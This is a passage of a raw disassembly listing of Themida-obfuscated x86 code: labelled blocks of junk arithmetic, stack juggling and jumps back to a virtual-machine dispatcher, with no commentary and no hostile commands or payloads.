loc_5605CE ; --------------------------------------------------------------------------- loc_5676CD: ; CODE XREF: Themida_:0056308Bj add al, 0DCh push 463Eh mov [esp+1Ch+var_1C], ebx mov bh, 0E5h push ecx jmp loc_55EC5F ; --------------------------------------------------------------------------- loc_5676DF: ; CODE XREF: sub_56755A-9095j push esi push eax mov eax, 3F445706h or eax, 4573328Eh xor eax, 41FA6EA7h mov esi, eax jmp loc_56AEC9 ; --------------------------------------------------------------------------- loc_5676F7: ; CODE XREF: Themida_:0055BEABj mov dl, 0Eh push edx mov dl, 0A0h jmp loc_5698CE ; --------------------------------------------------------------------------- loc_567701: ; CODE XREF: sub_56755A-49FDj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp add esi, 2 xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] mov esp, [esp+4+var_4] bts word ptr [esp+4+var_4], ax pushf jmp loc_570218 ; --------------------------------------------------------------------------- loc_56772D: ; CODE XREF: sub_560DA7+9535j add edi, ebx jmp loc_567EF8 ; --------------------------------------------------------------------------- loc_567734: ; CODE XREF: sub_56755A+BADj neg esi jmp loc_56FC4E ; --------------------------------------------------------------------------- loc_56773B: ; CODE XREF: sub_56755A-92A1j mov [esp+0Ah+var_C+2], ecx mov ecx, 3F5174EDh sub ebx, ecx push [esp+0Ah+var_C+2] pop ecx sub esp, 4 mov [esp+0Eh+var_10+2], eax jmp loc_566AF9 ; --------------------------------------------------------------------------- loc_567757: ; CODE XREF: Themida_:005656ACj mov edx, esp sub esp, 4 jmp loc_562013 ; --------------------------------------------------------------------------- loc_567761: ; CODE XREF: Themida_:0056D371j push 72DDh jmp loc_56D9FA ; --------------------------------------------------------------------------- loc_56776B: ; CODE XREF: sub_56755A+2137j push ebp mov ebp, 7AB35CC6h push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp+1Eh+var_20+2] pop esp mov [esp+1Ah+var_1C+2], eax mov eax, 9CE1D28h or ebp, eax mov eax, [esp+1Ah+var_1C+2] add esp, 4 push eax mov eax, 21EE687Eh sub ebp, eax pop eax add ebp, 3B9F5479h push ebp jmp loc_55BA97 ; --------------------------------------------------------------------------- loc_5677A9: ; CODE XREF: Themida_:0055E344j xor eax, 0D7C9FD93h xor edi, eax mov eax, [esp+1Ah+var_1C+2] add esp, 4 jmp loc_56F499 ; --------------------------------------------------------------------------- loc_5677BB: ; CODE XREF: sub_56755A+7D9Aj push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp+16h+var_18+2] pop esp mov [esp+12h+var_14+2], edx push esp mov edx, [esp+16h+var_18+2] push 5447h mov [esp+1Ah+var_1C+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+1Ah+var_1C+2] pop esp push edi jmp loc_55E856 ; --------------------------------------------------------------------------- loc_5677F4: ; CODE XREF: sub_56755A-7BF4j pop esp jmp loc_5702AA ; --------------------------------------------------------------------------- loc_5677FA: ; CODE XREF: Themida_:0056FA14j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5677FF: ; CODE XREF: sub_56755A+3F68j sub eax, ecx pop ecx xchg eax, [esp-0Ch+arg_8] jmp loc_55C7B7 ; --------------------------------------------------------------------------- loc_56780A: ; CODE XREF: sub_56755A+1954j add ecx, 4 xchg ecx, [esp-0Ch+arg_8] jmp loc_56182B ; --------------------------------------------------------------------------- loc_567815: ; CODE XREF: sub_56755A+8614j mov esp, [esp-0Ch+arg_8] pop [esp-0Ch+arg_8] jmp loc_56DE4A ; --------------------------------------------------------------------------- loc_567820: ; CODE XREF: sub_56BA15-35B6j sub eax, 0EEF15548h sub esi, 77CF7E86h sub esi, eax jmp sub_561C3A ; --------------------------------------------------------------------------- loc_567832: ; CODE XREF: Themida_:00566FFEj add edx, 4 xor edx, [esp-10h+arg_C] xor [esp-10h+arg_C], edx xor edx, [esp-10h+arg_C] pop esp push 659Fh mov [esp-10h+arg_C], edi push [esp-10h+arg_10] mov edi, [esp-0Ch+arg_8] add esp, 4 pop [esp-10h+arg_C] mov esp, [esp-14h+arg_10] shr word ptr [esp-14h+arg_10], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567867: ; CODE XREF: Themida_:005673F0j push [esp-10h+arg_C] mov eax, [esp-0Ch+arg_8] add esp, 4 push 6083h mov [esp-0Ch+arg_8], edi push esp mov edi, [esp-8+arg_4] add esp, 4 jmp loc_56644B ; --------------------------------------------------------------------------- loc_567884: ; CODE XREF: sub_56F83B-DA11j xor [esp-0Ch+arg_8], ebx xor ebx, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], eax push 680Eh push esp pop [esp-8+arg_4] jmp loc_56A203 ; --------------------------------------------------------------------------- loc_56789C: ; CODE XREF: sub_56CD48+6EBj add ebp, 4E677671h add ebp, 38966C2Eh pop ebx jmp sub_56542E ; --------------------------------------------------------------------------- loc_5678AE: ; CODE XREF: sub_56AE72+2555j mov edx, 3B4018h jmp loc_56D73E ; --------------------------------------------------------------------------- mov cx, word ptr [esp-10h+arg_C] push eax push 7B4Bh push esp pop [esp-4+arg_0] push ecx mov ecx, 4 add [esp-4+arg_4], ecx pop ecx push [esp-8+arg_4] jmp loc_569F23 ; --------------------------------------------------------------------------- loc_5678D9: ; CODE XREF: sub_56B62C+1DF6j add esp, 4 push eax mov al, 0C4h jmp loc_568F02 ; --------------------------------------------------------------------------- loc_5678E4: ; CODE XREF: sub_56E75E-454Bj shr eax, 10h xor eax, ecx push eax mov eax, esp add eax, 4 jmp loc_56F3E4 ; --------------------------------------------------------------------------- loc_5678F6: ; CODE XREF: sub_56755A+4653j xchg ecx, [esp+0] pop edi jmp loc_55DF2C ; --------------------------------------------------------------------------- loc_5678FF: ; CODE XREF: sub_56755A+64D6j add ecx, 1 xor ecx, 6E153467h jmp loc_561F17 ; --------------------------------------------------------------------------- loc_56790D: ; CODE XREF: Themida_:005697A4j pop edx add esi, ecx add esi, 22E31534h add esi, 16674823h mov ecx, [esp-8+arg_4] jmp loc_56BD42 ; --------------------------------------------------------------------------- loc_567924: ; CODE XREF: sub_560FD7+4C3Fj xchg dh, cl push ebx jmp loc_563B55 ; --------------------------------------------------------------------------- loc_56792C: ; CODE XREF: sub_56755A-1E32j push esi mov esi, esp jmp loc_565D97 ; --------------------------------------------------------------------------- loc_567934: ; CODE XREF: Themida_:0055E7C9j inc ebx sub ebx, 43F260Ah jmp loc_55F2ED ; --------------------------------------------------------------------------- loc_567940: ; CODE XREF: sub_56755A+EFBj push edi jmp loc_56CC37 ; --------------------------------------------------------------------------- loc_567946: ; CODE XREF: sub_5637DB-431Fj pop edi add ebp, 52A104CCh shr ebp, 4 add ebp, 52D64011h sub ebp, 0F6F95741h jmp loc_568E93 ; --------------------------------------------------------------------------- loc_567961: ; CODE XREF: Themida_:0056BD2Cj pop ebx jmp loc_56300E ; --------------------------------------------------------------------------- loc_567967: ; CODE XREF: Themida_:00563968j push ebx mov ebx, esp push esi mov esi, 4FAF4E32h jmp loc_560400 ; --------------------------------------------------------------------------- loc_567975: ; CODE XREF: sub_56755A-3973j mov eax, [esp+1Ch+var_1C] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+20h+var_20] mov esp, [esp+20h+var_20] push edx push [esp+24h+var_20] mov edx, [esp+28h+var_28] push 4A1Ah mov [esp+2Ch+var_2C], eax mov eax, esp jmp loc_56FB61 ; --------------------------------------------------------------------------- loc_5679A4: ; CODE XREF: sub_560D65+8015j add ebx, 7FD07228h mov esi, [esp+2Ch+var_2C] add esp, 4 push ebx not [esp+2Ch+var_2C] pop ebx xor ebx, 0A9D46C60h sub esp, 4 mov [esp+2Ch+var_2C], ebx mov ebx, 2AF7F33h shl ebx, 2 sub ebx, 0FFFFFFFFh shl ebx, 7 dec ebx push ebp jmp loc_56ECC8 ; --------------------------------------------------------------------------- loc_5679DC: ; CODE XREF: sub_56755A+8237j mov esi, ecx mov ecx, [esp+30h+var_30] jmp loc_55C0C7 ; --------------------------------------------------------------------------- loc_5679E6: ; CODE XREF: sub_56755A-90B5j pop ecx push 743Dh jmp loc_560909 ; --------------------------------------------------------------------------- loc_5679F1: ; CODE XREF: Themida_:0056EF8Fj mov edi, esp add edi, 4 add edi, 4 jmp loc_56D1A7 ; --------------------------------------------------------------------------- loc_567A04: ; CODE XREF: sub_56755A+2C61j and edx, 69AA2F8Ch jmp loc_55CED0 ; --------------------------------------------------------------------------- loc_567A0F: ; CODE XREF: sub_56755A-98E9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+30h+var_30] jmp loc_568A60 ; --------------------------------------------------------------------------- loc_567A22: ; CODE XREF: sub_56755A+838Aj push edx jmp loc_56381F ; --------------------------------------------------------------------------- loc_567A28: ; CODE XREF: sub_56755A+8F4Bj add esp, 4 xchg edi, [esp+30h+var_30] jmp loc_5623A0 ; --------------------------------------------------------------------------- loc_567A36: ; CODE XREF: sub_56755A-B0j mov ch, 1Bh sub al, 0DDh jmp loc_569CC3 ; --------------------------------------------------------------------------- loc_567A3F: ; CODE XREF: sub_56755A-ADE9j sub ebx, 4FB859F4h jmp loc_5697BB ; --------------------------------------------------------------------------- loc_567A4A: ; CODE XREF: sub_56755A+6C6j add ecx, 90D01F73h add esi, ecx pop ecx push 3ACCh jmp loc_56F70F ; --------------------------------------------------------------------------- loc_567A5D: ; CODE XREF: Themida_:005692A5j push 34E86958h jmp loc_56DED9 ; --------------------------------------------------------------------------- loc_567A67: ; CODE XREF: Themida_:0055C696j add [esp+8+var_4], ecx jmp loc_56ED5B ; --------------------------------------------------------------------------- loc_567A70: ; CODE XREF: sub_56A468-7677j add eax, 13C721F8h add eax, 32122984h add ebx, eax pop eax sub ebx, 1CEC72A9h sub ebx, eax push ecx mov ecx, 1CEC72A9h add ebx, ecx push [esp+8+var_8] pop ecx push eax mov eax, esp jmp loc_569272 ; --------------------------------------------------------------------------- loc_567A99: ; CODE XREF: sub_56667A+27CEj sub ebx, 65716077h jmp loc_55F46F ; --------------------------------------------------------------------------- loc_567AA4: ; CODE XREF: sub_56971C-4A6Fj push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp jmp loc_562742 ; --------------------------------------------------------------------------- loc_567ABB: ; CODE XREF: Themida_:00560398j pop eax sub esp, 4 mov [esp+8+var_8], ebp push edi mov edi, 60AA59A1h add edi, 6AD4702Bh xor edi, 0CB7EC9C8h mov ebp, edi pop edi jmp loc_5672EB ; --------------------------------------------------------------------------- loc_567ADC: ; CODE XREF: sub_5646E3-74Cj mov edi, esp add edi, 4 add edi, 4 jmp loc_56C50E ; --------------------------------------------------------------------------- loc_567AEC: ; CODE XREF: sub_56626C+512j xor ebp, 76EC5B2Dh jmp loc_560DCC ; --------------------------------------------------------------------------- loc_567AF7: ; CODE XREF: sub_56A500-5134j add edi, edx pop edx push esi mov esi, 4 jmp loc_564000 ; --------------------------------------------------------------------------- loc_567B05: ; CODE XREF: sub_56755A+6EF9j mov [esp+8+var_8], ebx push ecx push edx mov edx, 0AF53155h push ebp mov ebp, 481B30FDh or ebp, 329B69C9h or ebp, 2DB1349Ah jmp loc_56E0F8 ; --------------------------------------------------------------------------- loc_567B26: ; CODE XREF: Themida_:0056CF89j push eax push esi jmp loc_56FD39 ; --------------------------------------------------------------------------- loc_567B2D: ; CODE XREF: Themida_:0056DF59j sub eax, 395C7C08h jmp loc_56D617 ; --------------------------------------------------------------------------- loc_567B37: ; CODE XREF: Themida_:0056BF5Bj push 5EDAh mov [esp+20h+var_20], edx push eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567B46: ; CODE XREF: Themida_:0055BFF7j mov ebx, 4 add [esp+28h+var_24], ebx pop ebx push [esp+24h+var_24] pop esi add esp, 4 push edi push esi jmp loc_567B8F ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx mov ecx, 3A299F7Ah add eax, 1A691A8Bh push edi mov edi, 68674F5Fh inc edi xor edi, 656075D4h jmp loc_562353 ; --------------------------------------------------------------------------- mov esp, [esp+30h+var_30] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567B86: ; CODE XREF: sub_56B444-7CF5j xor dh, bl pop bx jmp loc_55CBD8 ; --------------------------------------------------------------------------- loc_567B8F: ; CODE XREF: sub_56755A+5FFj push 58EB518Ch pop esi or esi, 68D0544Eh add esi, 0DD03B129h push esi add [esp+2Ch+var_2C], 6DEA4363h pop edi sub edi, 6DEA4363h jmp loc_56930E ; --------------------------------------------------------------------------- loc_567BB5: ; CODE XREF: Themida_:00560FB4j xor word ptr [esp+28h+var_28], si jmp loc_56AC39 ; --------------------------------------------------------------------------- loc_567BBE: ; CODE XREF: sub_560483+19B5j sub esp, 4 mov [esp+2Ch+var_2C], ebx mov ebx, 24h push eax jmp loc_55B56F ; --------------------------------------------------------------------------- loc_567BCF: ; CODE XREF: sub_56EF52+1j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+30h+var_30] pop esp pop edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+2Ch+var_2C] jmp loc_56BB61 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+2Ch+var_2C] jmp loc_569666 ; --------------------------------------------------------------------------- loc_567BFC: ; CODE XREF: Themida_:005643E1j sub esi, 3186B5Dh mov edi, esi pop esi jmp loc_56A3A7 ; --------------------------------------------------------------------------- loc_567C0A: ; CODE XREF: Themida_:0055CB6Aj pop esi inc esi sub esi, 2ACD2D8Fh push esi jmp loc_568900 ; --------------------------------------------------------------------------- loc_567C18: ; CODE XREF: Themida_:00569F1Ej xor ecx, 78C059DBh shr ecx, 1 jmp loc_567A4A ; --------------------------------------------------------------------------- loc_567C25: ; CODE XREF: sub_562C5D+B9C3j push ecx mov cl, 28h push eax mov al, 6Fh jmp loc_563871 ; --------------------------------------------------------------------------- loc_567C30: ; CODE XREF: sub_569E65-1362j add ecx, edx push esi mov esi, 5C857384h sub esi, 147F2A9Eh sub ecx, esi jmp loc_56DC07 ; --------------------------------------------------------------------------- loc_567C45: ; CODE XREF: Themida_:0056121Ej push 35E4h mov [esp+38h+var_38], edx push 71DD63E3h mov edx, [esp+3Ch+var_3C] add esp, 4 push eax mov eax, 205A311Eh xor eax, 22334CA4h and edx, eax pop eax inc edx jmp loc_55BB26 ; --------------------------------------------------------------------------- loc_567C6C: ; CODE XREF: sub_56755A+98j xor [esp+8+var_8], edx push [esp+8+var_8] pop eax jmp sub_56F83B ; --------------------------------------------------------------------------- loc_567C78: ; CODE XREF: sub_56B5E8-76BFj mov [esp+8+var_8], ecx push esi mov esi, 0F5F20E0h push 7714h mov [esp+10h+var_10], eax push esi sub [esp+14h+var_14], 40B85851h pop eax add eax, 40B85851h mov ecx, eax mov eax, [esp+10h+var_10] add esp, 4 jmp loc_55F4F1 ; --------------------------------------------------------------------------- loc_567CA4: ; CODE XREF: Themida_:0055D7C9j push esp pop [esp+10h+var_10] push edi push edx push edi jmp loc_562DFD ; --------------------------------------------------------------------------- loc_567CB0: ; CODE XREF: sub_56755A+7155j add edi, ecx pop ecx add eax, 7AD73D3Ah add eax, edi sub eax, 7AD73D3Ah pop edi shr eax, 2 xor eax, 59BAD96Bh sub ebx, eax jmp loc_56607C ; --------------------------------------------------------------------------- loc_567CCF: ; CODE XREF: Themida_:0056BA10j add ecx, 362B78BDh xor ecx, 2D897DD5h and ecx, 6C715BF6h jmp loc_569BB6 ; --------------------------------------------------------------------------- loc_567CE6: ; CODE XREF: sub_56755A-1605j dec ch sub ch, 0C0h mov dh, 6Ah xor dh, ch push [esp+34h+var_34] jmp loc_561E3D ; --------------------------------------------------------------------------- loc_567CF7: ; CODE XREF: sub_56755A-12ACj push edi mov edi, 2 jmp loc_56DA18 ; --------------------------------------------------------------------------- loc_567D02: ; CODE XREF: sub_561C3A+3081j push edx push 1E6Eh jmp loc_5618AB ; --------------------------------------------------------------------------- loc_567D0D: ; CODE XREF: Themida_:0056F084j sub ebx, 0AB16CBFh jmp loc_56355D ; --------------------------------------------------------------------------- loc_567D18: ; CODE XREF: Themida_:0056721Ej push ecx jmp loc_55D9C0 ; --------------------------------------------------------------------------- loc_567D1E: ; CODE XREF: Themida_:0056130Fj pop esp ror [esp+0Ch+var_C], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567D28: ; CODE XREF: Themida_:0056C81Bj push [esp+10h+var_10] pop eax jmp loc_56246D ; --------------------------------------------------------------------------- loc_567D31: ; CODE XREF: sub_56CEE9+1B1Dj pop ebp mov edx, [esp+0Ch+var_C] push esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+14h+var_10] pop esi pop [esp+14h+var_14] pop esp and eax, esi push [esp+0Ch+var_C] pop esi jmp loc_563660 ; --------------------------------------------------------------------------- loc_567D56: ; CODE XREF: Themida_:0056E597j add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] jmp loc_5637B4 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0Ch+var_C] jmp loc_55E6A5 ; --------------------------------------------------------------------------- loc_567D70: ; CODE XREF: Themida_:0055FAC7j sub edi, esi jmp loc_56E22D ; --------------------------------------------------------------------------- loc_567D77: ; CODE XREF: sub_56755A+8C25j sub ebp, esi pop esi mov edi, ebp pop ebp sub edx, 53A92B14h sub edx, edi jmp loc_5643C8 ; --------------------------------------------------------------------------- loc_567D8A: ; CODE XREF: Themida_:00569ACAj mov ax, word ptr [esp+4+var_4] add esp, 2 sub al, 44h add al, 9 add al, bh sub al, 9 add al, 44h mov ebx, [esp+0] jmp loc_569B9E ; --------------------------------------------------------------------------- loc_567DA3: ; CODE XREF: sub_56755A-20B4j inc esi push ecx mov ecx, 0B2F3CB46h xor esi, ecx pop ecx jmp loc_55C6DE ; --------------------------------------------------------------------------- loc_567DB2: ; CODE XREF: Themida_:005647A1j mov edi, 0D3C008F3h add edi, ecx jmp loc_56FBA4 ; --------------------------------------------------------------------------- loc_567DBE: ; CODE XREF: Themida_:00569E71j add edi, 4 push ebp mov ebp, 4 jmp loc_56FF28 ; --------------------------------------------------------------------------- loc_567DCF: ; CODE XREF: Themida_:00560AE0j push 380525F3h mov ebx, [esp+22h+var_24+2] add esp, 4 xor ebx, 6E3E18CBh not ebx add ebx, 563B3D3Ah mov edx, ebx mov ebx, [esp+1Eh+var_20+2] add esp, 4 jmp loc_55C3C4 ; --------------------------------------------------------------------------- loc_567DFB: ; CODE XREF: sub_56755A-143Fj mov esp, [esp+26h+var_28+2] mov [esp+26h+var_28+2], ebx jmp loc_56998F ; --------------------------------------------------------------------------- loc_567E06: ; CODE XREF: sub_56755A+33F3j mov cx, 16FDh and bp, cx pop cx add bp, 60D7h push bp sub word ptr [esp+26h+var_28+2], 4C18h pop di add di, 4C18h pop ebp push small 7FBEh mov word ptr [esp+22h+var_24+2], bx push ebp mov bp, 4820h jmp loc_5697DB ; --------------------------------------------------------------------------- loc_567E36: ; CODE XREF: Themida_:0055D6C3j pop ecx push 3463h mov [esp+26h+var_28+2], ecx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_566724 ; --------------------------------------------------------------------------- loc_567E53: ; CODE XREF: sub_55E257-121Dj pop eax add ecx, 0FFFFFFFFh xor ecx, 0B94744B8h add ebp, 21D6060h sub ebp, ecx sub ebp, 21D6060h jmp loc_55FB08 ; --------------------------------------------------------------------------- loc_567E73: ; CODE XREF: sub_55CD7B+11D16j sub ebx, 2976319Eh add ebx, esi add ebx, 2976319Eh jmp loc_570405 ; --------------------------------------------------------------------------- loc_567E86: ; CODE XREF: sub_55F185+CED4j add esp, 4 jmp loc_55C6C3 ; --------------------------------------------------------------------------- loc_567E91: ; CODE XREF: Themida_:00560110j mov esp, [esp+22h+var_24+2] shl byte ptr [esp+22h+var_24+2], cl pushf jmp loc_55BAF7 ; --------------------------------------------------------------------------- loc_567E9D: ; CODE XREF: sub_56755A-7E30j pop edx jmp loc_561E20 ; --------------------------------------------------------------------------- loc_567EA3: ; CODE XREF: sub_56755A+2ABEj mov di, 0CBCDh sub di, cx mov ecx, [esp-8+arg_4] push edx push ecx mov ecx, esp jmp loc_565EF8 ; --------------------------------------------------------------------------- loc_567EB6: ; CODE XREF: sub_563973-5DA4j push edx mov edx, esp jmp loc_562E97 ; --------------------------------------------------------------------------- loc_567EBE: ; CODE XREF: sub_56755A+676Bj add esp, 4 push ebx jmp loc_5698F1 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx mov bh, 4 push ecx mov cl, 38h jmp loc_56ABCF ; --------------------------------------------------------------------------- loc_567ED8: ; CODE XREF: sub_564603-49BEj or esi, 735C2D9Dh shl esi, 8 sub esi, 0FD7F9CFCh add ebp, esi pop esi jmp sub_5622B3 ; --------------------------------------------------------------------------- loc_567EEF: ; CODE XREF: Themida_:0055FAB3j mov word ptr [esp+8+var_8], ax jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567EF8: ; CODE XREF: sub_56755A+1D5j sub edi, 36037920h pop ebx push edi push [esp+8+var_4] mov edi, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_567F15: ; CODE XREF: sub_56755A-AAF7j mov ebx, 548A2B2Eh not ebx add ebx, 597877A0h push ebp push 1F05732h pop ebp add eax, 278C10D5h jmp loc_55E477 ; --------------------------------------------------------------------------- loc_567F33: ; CODE XREF: Themida_:005691AAj neg ebp xor ebp, 20FA1D6Ch push edi push ecx jmp loc_55D1BA ; --------------------------------------------------------------------------- loc_567F42: ; CODE XREF: sub_56755A+683Cj mov [esp+18h+var_18], esi mov esi, esp jmp loc_55FE82 ; --------------------------------------------------------------------------- loc_567F4C: ; CODE XREF: sub_56755A-7FBBj pop ebp add ebp, 0E22BBF53h jmp loc_569D9A ; --------------------------------------------------------------------------- loc_567F58: ; CODE XREF: sub_560184+D0A5j push edi push ebx jmp loc_565A5D ; --------------------------------------------------------------------------- loc_567F5F: ; CODE XREF: sub_56755A-4143j push edi jmp loc_5662B3 ; --------------------------------------------------------------------------- loc_567F65: ; CODE XREF: sub_56755A+80F4j and eax, edx pop edx xor eax, 2E466065h or esi, eax jmp loc_5648C5 ; --------------------------------------------------------------------------- loc_567F74: ; CODE XREF: Themida_:00569ED3j push 7D7Bh mov [esp-18h+arg_14], ecx mov ecx, 419310B1h sub ecx, 0CBFE239h mov edi, ecx mov ecx, [esp-18h+arg_14] jmp loc_566680 ; --------------------------------------------------------------------------- loc_567F91: ; CODE XREF: sub_56755A+44DDj push esi mov esi, 2 add ecx, esi jmp loc_560D33 ; --------------------------------------------------------------------------- loc_567F9E: ; CODE XREF: Themida_:0056F93Dj sub ebx, edx pop edx neg ebx push 0 sub [esp-14h+arg_10], ebx pop ebx jmp loc_55BA42 ; --------------------------------------------------------------------------- loc_567FB1: ; CODE XREF: Themida_:00562920j sub ecx, 4 xchg ecx, [esp-18h+arg_14] pop esp jmp loc_560EF0 ; --------------------------------------------------------------------------- loc_567FC0: ; CODE XREF: Themida_:0056FE01j push edx mov edx, 6B270270h shl edx, 4 and edx, 1C42682h dec edx jmp loc_56F2B9 ; --------------------------------------------------------------------------- loc_567FD5: ; CODE XREF: Themida_:0056DBE7j shl ebp, 5 inc ebp sub ebp, 863E3DA9h add ebx, 6E284403h sub ebx, ebp jmp loc_56A30C ; --------------------------------------------------------------------------- loc_567FEC: ; CODE XREF: sub_56AE6C+A74j push ebx push ecx mov ch, dl jmp loc_569E56 ; --------------------------------------------------------------------------- loc_567FF5: ; CODE XREF: Themida_:00560476j xchg esi, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], edx push 32962882h mov edx, [esp-0Ch+arg_8] jmp loc_560BE9 ; --------------------------------------------------------------------------- loc_56800B: ; CODE XREF: sub_5672A7+5679j push ebp xor [esp-8+arg_4], 28E72D5Eh pop ecx xor ecx, 28E72D5Eh pop ebp add ecx, ebx add [ecx], edx pop ecx mov ebx, [esp-14h+arg_10] add esp, 4 jmp loc_55C81F ; --------------------------------------------------------------------------- loc_56802E: ; CODE XREF: sub_55E931+1B37j and ebp, 670321Eh shl ebp, 6 shr ebp, 2 xor ebp, 7175593Ah add esi, ebp pop ebp mov eax, [esp-1Ch+arg_18] add esp, 4 push 7A1Bh mov [esp-1Ch+arg_18], esi push [esp-1Ch+arg_1C] jmp loc_56E3BB ; --------------------------------------------------------------------------- loc_56805A: ; CODE XREF: Themida_:00569A93j push ecx mov cl, 1 sub bh, 0FDh add bh, 27h sub bh, cl sub bh, 27h push eax mov al, 87h jmp loc_565952 ; --------------------------------------------------------------------------- loc_568070: ; CODE XREF: Themida_:005637C1j pop ebp xor edi, 20327808h jmp loc_5643F2 ; --------------------------------------------------------------------------- loc_56807C: ; CODE XREF: Themida_:0055CFBEj sub esi, 38C7AF71h mov eax, esi pop esi jmp loc_568B38 ; --------------------------------------------------------------------------- loc_56808A: ; CODE XREF: sub_565DC4-81C7j pop esi mov ebx, edi pop edi not ebx push ebp mov ebp, 208D396Dh xor ebp, 58C5488Eh shr ebp, 1 sub ebp, 55972B8Dh neg ebp not ebp jmp loc_564495 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp-18h+arg_14], ecx mov ecx, 6051C989h jmp loc_563436 ; --------------------------------------------------------------------------- loc_5680C3: ; CODE XREF: sub_5600E2+B01Dj or edx, eax shl edx, 1 push dword ptr [edi+24h] sub esp, 4 jmp loc_5611C2 ; --------------------------------------------------------------------------- loc_5680D5: ; CODE XREF: Themida_:00560DC7j push [esp-10h+arg_C] pop ecx add esp, 4 sub esp, 4 jmp loc_55F23E ; --------------------------------------------------------------------------- loc_5680E4: ; CODE XREF: Themida_:0056696Fj mov [esp-10h+arg_C], eax jmp loc_55C5ED ; --------------------------------------------------------------------------- loc_5680EC: ; CODE XREF: sub_570668-D043j xchg ebx, edi jmp loc_563754 ; --------------------------------------------------------------------------- loc_5680F3: ; CODE XREF: sub_56755A+2D36j shr esi, 4 jmp loc_56FAEF ; --------------------------------------------------------------------------- loc_5680FB: ; CODE XREF: Themida_:0056A699j push esi mov esi, 1D1D18D3h add esi, 65F70262h jmp loc_567734 ; --------------------------------------------------------------------------- loc_56810C: ; CODE XREF: sub_56E89A-11DC7j mov [esp-0Ch+arg_8], ecx push eax mov eax, 163B7C5Ch mov ecx, eax pop eax shr ecx, 7 shr ecx, 1 push edi push 29CAh mov [esp-4+arg_0], edx jmp loc_569CCA ; --------------------------------------------------------------------------- loc_56812B: ; CODE XREF: sub_56D83A-7962j push edi push esp pop edi jmp loc_565FE9 ; --------------------------------------------------------------------------- loc_568133: ; CODE XREF: Themida_:0055E2C4j pop ebp push 4E9Ah jmp loc_55CD0A ; --------------------------------------------------------------------------- loc_56813E: ; CODE XREF: sub_56755A-9DC0j inc ebx shl ebx, 3 and ebx, 56CF7042h xor ebx, 38203E6Ah add eax, ebx jmp loc_564632 ; --------------------------------------------------------------------------- loc_568155: ; CODE XREF: sub_563A41+6626j mov ebx, [esp+28h+var_28] add esp, 4 push [esp+24h+var_24] mov esi, [esp+28h+var_28] push edx mov edx, esp jmp loc_56208D ; --------------------------------------------------------------------------- loc_568169: ; CODE XREF: sub_56755A-1A3Aj add eax, 32267602h jmp loc_5703B1 ; --------------------------------------------------------------------------- loc_568173: ; CODE XREF: Themida_:0055CC66j xor [esp+16h+var_18+2], esi xor esi, [esp+16h+var_18+2] pop esp mov [esp+12h+var_14+2], edi push esp mov edi, [esp+16h+var_18+2] add esp, 4 push 4411h jmp loc_56A2E9 ; --------------------------------------------------------------------------- loc_568191: ; CODE XREF: sub_56755A-4175j pop esi sub eax, edi pop edi xchg eax, [esp-1Ch+arg_18] pop esp mov [esp-20h+arg_1C], eax not [esp-20h+arg_1C] push [esp-20h+arg_1C] jmp loc_565C22 ; --------------------------------------------------------------------------- loc_5681A7: ; CODE XREF: Themida_:005610A0j add eax, 4 add eax, 4 push eax push [esp-18h+arg_18] jmp loc_56A193 ; --------------------------------------------------------------------------- loc_5681BB: ; CODE XREF: Themida_:0056EC9Dj sub eax, 0E8DD12Ah add edi, eax jmp loc_56E67C ; --------------------------------------------------------------------------- loc_5681C7: ; CODE XREF: Themida_:0055E07Aj sub al, 30h add al, ch add al, 30h push ebx mov bl, 7Ah push ecx jmp loc_56D7A6 ; --------------------------------------------------------------------------- loc_5681D6: ; CODE XREF: sub_56755A+87DAj movzx cx, ah push small 27B0h mov word ptr [esp-0Ah+arg_4+2], cx movzx cx, al jmp loc_56C10F ; --------------------------------------------------------------------------- loc_5681EB: ; CODE XREF: Themida_:00562958j mov ecx, [esp-0Ah+arg_4+2] add esp, 4 shl esi, 1 shl esi, 1 jmp loc_5636D8 ; --------------------------------------------------------------------------- loc_5681FA: ; CODE XREF: Themida_:0056C738j mov ebx, 7C404598h and ecx, ebx pop ebx xor ecx, 4154698Ah and ecx, 57E352C7h shr ecx, 6 xor ecx, 69C623AFh sub esp, 4 mov [esp-0Eh+arg_8+2], ecx jmp loc_56B586 ; --------------------------------------------------------------------------- loc_568222: ; CODE XREF: Themida_:0056A9B7j add esp, 4 jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56822D: ; CODE XREF: sub_56657C+1j mov ebx, 6A947BF5h push edi mov edi, 0 jmp loc_560F49 ; --------------------------------------------------------------------------- loc_56823D: ; CODE XREF: Themida_:0056BC83j inc esi jmp loc_569D04 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56824B: ; CODE XREF: sub_56755A+5375j pop [esp-0Ch+arg_8] mov esp, [esp-10h+arg_C] inc [esp-10h+arg_C] pushf jmp loc_55B555 ; --------------------------------------------------------------------------- 